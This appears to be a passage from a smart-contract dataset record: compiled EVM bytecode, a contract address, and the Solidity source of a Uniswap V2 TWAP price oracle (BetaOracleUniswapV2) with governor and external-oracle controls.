10ee7565b604051808215151515815260200191505060405180910390f35b34801561040857600080fd5b50610411610fc1565b604051808215151515815260200191505060405180910390f35b34801561043757600080fd5b5061047a6004803603602081101561044e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd8565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b506104a5610fea565b005b3480156104b357600080fd5b506104f6600480360360208110156104ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611170565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b50610525611333565b005b34801561053357600080fd5b5061053c611494565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058a57600080fd5b506105936114be565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106476004803603602081101561063157600080fd5b8101908080359060200190929190505050611560565b604051808215151515815260200191505060405180910390f35b34801561066d57600080fd5b506106ba6004803603604081101561068457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061163a565b604051808215151515815260200191505060405180910390f35b3480156106e057600080fd5b5061072d600480360360408110156106f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611871565b604051808215151515815260200191505060405180910390f35b34801561075357600080fd5b506107966004803603602081101561076a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e0565b604051808215151515815260200191505060405180910390f35b3480156107bc57600080fd5b5061081f600480360360408110156107d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b6040518082815260200191505060405180910390f35b34801561084157600080fd5b506108846004803603602081101561085857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611987565b604051808215151515815260200191505060405180910390f35b3480156108aa57600080fd5b506108ed600480360360208110156108c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b4b565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109875780601f1061095c57610100808354040283529160200191610987565b820191906000526020600020905b81548152906001019060200180831161096a57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109ce57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b600083600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b2457600080fd5b610b2f858585611d9b565b9150509392505050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b8d57600080fd5b610c1c82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff161515610e6757600080fd5b6000600660146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610fae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610fb83383611dee565b60019050919050565b6000600660149054906101000a900460ff16905090565b6000610fe382611f44565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611237576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561128f57600080fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff1615151561141457600080fd5b6001600660146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115565780601f1061152b57610100808354040283529160200191611556565b820191906000526020600020905b81548152906001019060200180831161153957829003601f168201915b5050505050905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611627576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6116313383611f8d565b60019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561167757600080fd5b61170682600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600033600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118cd57600080fd5b6118d78484612105565b91505092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611aa757600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611cdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660149054906101000a900460ff16151515611db957600080fd5b611dc4848484612135565b90509392505050565b6000808284019050838110151515611de457600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611e2a57600080fd5b611e3f816005546120e390919063ffffffff16565b600581905550611e9781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611fc957600080fd5b611fde81600554611dcd90919063ffffffff16565b60058190555061203681600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008282111515156120f457600080fd5b600082840390508091505092915050565b6000600660149054906101000a900460ff1615151561212357600080fd5b61212d838361233d565b905092915050565b60006121c682600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612251848484612354565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600061234a338484612354565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561239057600080fd5b6123e281600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea165627a7a7230582004c488463a0a6fd192e8eb1b6f3d4631137ce22bd08a8c59ee88d5fbf9e8cd8b0029
|
{"success": true, "error": null, "results": {}}
| 8,143 |
0x8d163ae95eeae2d3256a74260100ea27ef41fa91
|
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.6;
// Part: IBetaOracle
interface IBetaOracle {
/// @dev Returns the given asset price in ETH (wei), multiplied by 2**112.
/// @param token The token to query for asset price
function getAssetETHPrice(address token) external returns (uint);
/// @dev Returns the given asset value in ETH (wei)
/// @param token The token to query for asset value
/// @param amount The amount of token to query
function getAssetETHValue(address token, uint amount) external returns (uint);
/// @dev Returns the conversion from amount of from` to `to`.
/// @param from The source token to convert.
/// @param to The destination token to convert.
/// @param amount The amount of token for conversion.
function convert(
address from,
address to,
uint amount
) external returns (uint);
}
// Part: IExternalOracle
interface IExternalOracle {
/// @dev Returns the price in terms of ETH for the given token, multiplifed by 2**112.
function getETHPx(address token) external view returns (uint);
}
// Part: IUniswapV2Factory
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// Part: IUniswapV2Pair
interface IUniswapV2Pair {
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external;
}
// File: BetaOracleUniswapV2.sol
contract BetaOracleUniswapV2 is IBetaOracle {
event SetGovernor(address governor);
event SetPendingGovernor(address pendingGovernor);
event Initialize(address token);
event Observe(address indexed token, uint224 price);
event SetExternal(address indexed token, address ext);
struct Observation {
uint lastCumu;
uint224 lastPrice;
uint32 timestamp;
}
address public immutable weth;
address public immutable factory;
uint32 public immutable minTwapTime;
address public governor;
address public pendingGovernor;
mapping(address => Observation) public observations;
mapping(address => address) public exts;
/// @dev Initializes the oracle contract.
/// @param _weth WETH address.
/// @param _factory Uniswap V2 factory address.
/// @param _minTwapTime Minimum interval for TWAP time (in seconds).
constructor(
address _weth,
address _factory,
uint32 _minTwapTime
) {
require(_weth != address(0), 'constructor/weth-zero-address');
require(_factory != address(0), 'constructor/factory-zero-address');
require(_minTwapTime != 0, 'constructor/min-twap-time-zero-value');
weth = _weth;
factory = _factory;
minTwapTime = _minTwapTime;
governor = msg.sender;
emit SetGovernor(msg.sender);
}
/// @dev Sets the next governor, which will be in effect when they accept.
/// @param _pendingGovernor The next governor address.
function setPendingGovernor(address _pendingGovernor) external {
require(msg.sender == governor, 'setPendingGovernor/not-governor');
pendingGovernor = _pendingGovernor;
emit SetPendingGovernor(_pendingGovernor);
}
/// @dev Accepts to become the next governor. Must only be called by the pending governor.
function acceptGovernor() external {
require(msg.sender == pendingGovernor, 'acceptGovernor/not-pending-governor');
pendingGovernor = address(0);
governor = msg.sender;
emit SetGovernor(msg.sender);
}
/// @dev Updates the external feed contract address for the given tokens by the governor.
/// @param _tokens The tokens to update external price oracle contract.
/// @param _ext The external price oracle contract.
function setExternalOracle(address[] calldata _tokens, address _ext) external {
require(msg.sender == governor, 'setExternalOracle/not-governor');
for (uint idx = 0; idx < _tokens.length; idx++) {
exts[_tokens[idx]] = _ext;
emit SetExternal(_tokens[idx], _ext);
}
}
/// @dev Initializes data points for price from pair for the given token.
/// @param token The token to initialize the price.
function initPriceFromPair(address token) public {
Observation storage obs = observations[token];
require(obs.timestamp == 0, 'initPriceFromPair/already-initialized');
address pair = IUniswapV2Factory(factory).getPair(token, weth);
obs.lastCumu = token < weth ? currentPrice0Cumu(pair) : currentPrice1Cumu(pair);
obs.lastPrice = 0;
obs.timestamp = uint32(block.timestamp);
emit Initialize(token);
}
/// @dev Utility functions to initialize multiple pair prices at once.
/// @param tokens Token list to mass initialize the prices.
function massInitPriceFromPair(address[] calldata tokens) external {
for (uint idx = 0; idx < tokens.length; idx++) {
initPriceFromPair(tokens[idx]);
}
}
/// @dev Updates price info for the given token and returns the last price.
/// @param token The token to update token-WETH pair price.
function updatePriceFromPair(address token) public returns (uint) {
Observation storage obs = observations[token];
uint32 lastObserved = obs.timestamp;
require(lastObserved > 0, 'updatePriceFromPair/uninitialized');
unchecked {
uint32 timeElapsed = uint32(block.timestamp) - lastObserved; // overflow is desired
if (timeElapsed < minTwapTime) {
uint lastPrice = obs.lastPrice;
require(lastPrice > 0, 'updatePriceFromPair/no-price');
return lastPrice;
}
address pair = IUniswapV2Factory(factory).getPair(token, weth);
uint currCumu = token < weth ? currentPrice0Cumu(pair) : currentPrice1Cumu(pair);
uint224 price = uint224((currCumu - obs.lastCumu) / timeElapsed); // overflow is desired
obs.lastPrice = price;
obs.lastCumu = currCumu;
obs.timestamp = uint32(block.timestamp);
emit Observe(token, price);
return price;
}
}
/// @dev Utility functions to update multiple pair prices at once.
/// @param tokens Token list to mass update prices.
function massUpdatePriceFromPair(address[] calldata tokens)
external
returns (uint[] memory prices)
{
prices = new uint[](tokens.length);
for (uint idx = 0; idx < tokens.length; idx++) {
prices[idx] = updatePriceFromPair(tokens[idx]);
}
}
/// @dev Returns the price of the given asset in terms of ETH (wei), multiplied by 2**112.
/// @param token The token to get asset price of.
function getAssetETHPrice(address token) public override returns (uint) {
if (token == weth) {
return (1 << 112);
}
address ext = exts[token];
if (ext != address(0)) {
return IExternalOracle(ext).getETHPx(token);
}
return updatePriceFromPair(token);
}
/// @dev Returns the given asset value in ETH (wei)
/// @param token The token to query for asset value
/// @param amount The amount of token to query
function getAssetETHValue(address token, uint amount) external override returns (uint) {
uint price = getAssetETHPrice(token);
return (price * amount) >> 112;
}
/// @dev Returns the conversion from amount of from` to `to`.
/// @param from The source token to convert.
/// @param to The destination token to convert.
/// @param amount The amount of token for conversion.
function convert(
address from,
address to,
uint amount
) external override returns (uint) {
uint fromPrice = getAssetETHPrice(from);
uint toPrice = getAssetETHPrice(to);
return (amount * fromPrice) / toPrice;
}
/// @dev Return the current price0 cumulative value on uniswap.
/// @param pair The uniswap pair to query for price0 cumulative value.
function currentPrice0Cumu(address pair) public view returns (uint price0Cumu) {
uint32 currTime = uint32(block.timestamp);
price0Cumu = IUniswapV2Pair(pair).price0CumulativeLast();
// can use reserves without flash-manipulated risks because cumu changes if reserves change
(uint reserve0, uint reserve1, uint32 lastTime) = IUniswapV2Pair(pair).getReserves();
if (lastTime != currTime) {
unchecked {
uint32 timeElapsed = currTime - lastTime; // overflow is desired
price0Cumu += uint((reserve1 << 112) / reserve0) * timeElapsed; // overflow is desired
}
}
}
/// @dev Return the current price1 cumulative value on uniswap.
/// @param pair The uniswap pair to query for price1 cumulative value.
function currentPrice1Cumu(address pair) public view returns (uint price1Cumu) {
uint32 currTime = uint32(block.timestamp);
price1Cumu = IUniswapV2Pair(pair).price1CumulativeLast();
// can use reserves without flash-manipulated risks because cumu changes if reserves change
(uint reserve0, uint reserve1, uint32 lastTime) = IUniswapV2Pair(pair).getReserves();
if (lastTime != currTime) {
unchecked {
uint32 timeElapsed = currTime - lastTime; // overflow is desired
price1Cumu += uint((reserve0 << 112) / reserve1) * timeElapsed; // overflow is desired
}
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80638a04ff3c116100ad578063c45a015511610071578063c45a015514610312578063d4f4dfe414610339578063e3056a341461034c578063e58bb6391461035f578063f235757f1461036757600080fd5b80638a04ff3c146102355780639a462f8f1461029d578063ae27980d146102d9578063bc388242146102ec578063bd424684146102ff57600080fd5b806327b113ca116100f457806327b113ca1461019f5780633fc8cef3146101b2578063460d5ffa146101d95780636378aa32146101ec57806372b713611461020c57600080fd5b80630c340a2414610126578063144ff194146101565780631e61991114610177578063248391ff1461018c575b600080fd5b600054610139906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610169610164366004611019565b61037a565b60405190815260200161014d565b61018a610185366004611102565b6104c2565b005b61016961019a366004611053565b61060a565b61018a6101ad3660046110c0565b610644565b6101397f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b61018a6101e7366004611019565b610690565b6101ff6101fa3660046110c0565b610882565b60405161014d91906111b7565b61013961021a366004611019565b6003602052600090815260409020546001600160a01b031681565b610274610243366004611019565b600260205260009081526040902080546001909101546001600160e01b03811690600160e01b900463ffffffff1683565b604080519384526001600160e01b03909216602084015263ffffffff169082015260600161014d565b6102c47f0000000000000000000000000000000000000000000000000000000000000e1081565b60405163ffffffff909116815260200161014d565b6101696102e7366004611019565b610934565b6101696102fa366004611019565b610a6b565b61016961030d366004611094565b610d35565b6101397f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac81565b610169610347366004611019565b610d59565b600154610139906001600160a01b031681565b61018a610e4a565b61018a610375366004611019565b610f03565b600080429050826001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b1580156103b957600080fd5b505afa1580156103cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f1919061119e565b91506000806000856001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561043157600080fd5b505afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104699190611159565b92506001600160701b031692506001600160701b031692508363ffffffff168163ffffffff16146104b95780840363ffffffff811683607086901b816104b1576104b161126d565b040286019550505b50505050919050565b6000546001600160a01b031633146105215760405162461bcd60e51b815260206004820152601e60248201527f73657445787465726e616c4f7261636c652f6e6f742d676f7665726e6f72000060448201526064015b60405180910390fd5b60005b8281101561060457816003600086868581811061054357610543611283565b90506020020160208101906105589190611019565b6001600160a01b039081168252602082019290925260400160002080546001600160a01b0319169290911691909117905583838281811061059b5761059b611283565b90506020020160208101906105b09190611019565b6040516001600160a01b03848116825291909116907f6a238cbf889fd9e18ec5a852b4354006cdd576b0f80d18a64e1e87d96d4ddd6d9060200160405180910390a2806105fc8161123c565b915050610524565b50505050565b60008061061685610d59565b9050600061062385610d59565b905080610630838661121d565b61063a91906111fb565b9695505050505050565b60005b8181101561068b5761067983838381811061066457610664611283565b90506020020160208101906101e79190611019565b806106838161123c565b915050610647565b505050565b6001600160a01b03811660009081526002602052604090206001810154600160e01b900463ffffffff16156107155760405162461bcd60e51b815260206004820152602560248201527f696e6974507269636546726f6d506169722f616c72656164792d696e697469616044820152641b1a5e995960da1b6064820152608401610518565b60405163e6a4390560e01b81526001600160a01b0383811660048301527f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2811660248301526000917f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac9091169063e6a439059060440160206040518083038186803b1580156107a357600080fd5b505afa1580156107b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107db9190611036565b90507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316836001600160a01b0316106108245761081f8161037a565b61082d565b61082d81610934565b8255600160e01b4263ffffffff160260018301556040516001600160a01b03841681527f36b1453565f45af7b509b59d5e2eac8f1948ea9e3e193db6663b4101afb6382c9060200160405180910390a1505050565b60608167ffffffffffffffff81111561089d5761089d611299565b6040519080825280602002602001820160405280156108c6578160200160208202803683370190505b50905060005b8281101561092d576108fe8484838181106108e9576108e9611283565b90506020020160208101906102fa9190611019565b82828151811061091057610910611283565b6020908102919091010152806109258161123c565b9150506108cc565b5092915050565b600080429050826001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561097357600080fd5b505afa158015610987573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ab919061119e565b91506000806000856001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156109eb57600080fd5b505afa1580156109ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a239190611159565b92506001600160701b031692506001600160701b031692508363ffffffff168163ffffffff16146104b95780840363ffffffff811684607085901b816104b1576104b161126d565b6001600160a01b03811660009081526002602052604081206001810154600160e01b900463ffffffff1680610aec5760405162461bcd60e51b815260206004820152602160248201527f757064617465507269636546726f6d506169722f756e696e697469616c697a656044820152601960fa1b6064820152608401610518565b4281900363ffffffff7f0000000000000000000000000000000000000000000000000000000000000e1081169082161015610b855760018301546001600160e01b031680610b7c5760405162461bcd60e51b815260206004820152601c60248201527f757064617465507269636546726f6d506169722f6e6f2d7072696365000000006044820152606401610518565b95945050505050565b60405163e6a4390560e01b81526001600160a01b0386811660048301527f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2811660248301526000917f000000000000000000000000c0aee478e3658e2610c5f7a4a2e1777ce9e4f2ac9091169063e6a439059060440160206040518083038186803b158015610c1357600080fd5b505afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611036565b905060007f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316876001600160a01b031610610c9657610c918261037a565b610c9f565b610c9f82610934565b905060008363ffffffff168660000154830381610cbe57610cbe61126d565b838855046001600160e01b038116600160e01b4263ffffffff1602811760018901556040519081529091506001600160a01b038916907f37063826a3cfcf7bacee74232fe1dbc1526d6b89bbefbb982a7e2d727cd2f28c9060200160405180910390a26001600160e01b0316979650505050505050565b600080610d4184610d59565b90506070610d4f848361121d565b901c949350505050565b60007f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316826001600160a01b03161415610da05750600160701b919050565b6001600160a01b03808316600090815260036020526040902054168015610e41576040516355cd56ff60e11b81526001600160a01b03848116600483015282169063ab9aadfe9060240160206040518083038186803b158015610e0257600080fd5b505afa158015610e16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3a919061119e565b9392505050565b610e3a83610a6b565b6001546001600160a01b03163314610eb05760405162461bcd60e51b815260206004820152602360248201527f616363657074476f7665726e6f722f6e6f742d70656e64696e672d676f7665726044820152623737b960e91b6064820152608401610518565b600180546001600160a01b031990811690915560008054339216821790556040519081527fbce074c8369e26e70e1ae2f14fc944da352cfe6f52e2de9572f0c9942a24b7fc9060200160405180910390a1565b6000546001600160a01b03163314610f5d5760405162461bcd60e51b815260206004820152601f60248201527f73657450656e64696e67476f7665726e6f722f6e6f742d676f7665726e6f72006044820152606401610518565b600180546001600160a01b0319166001600160a01b03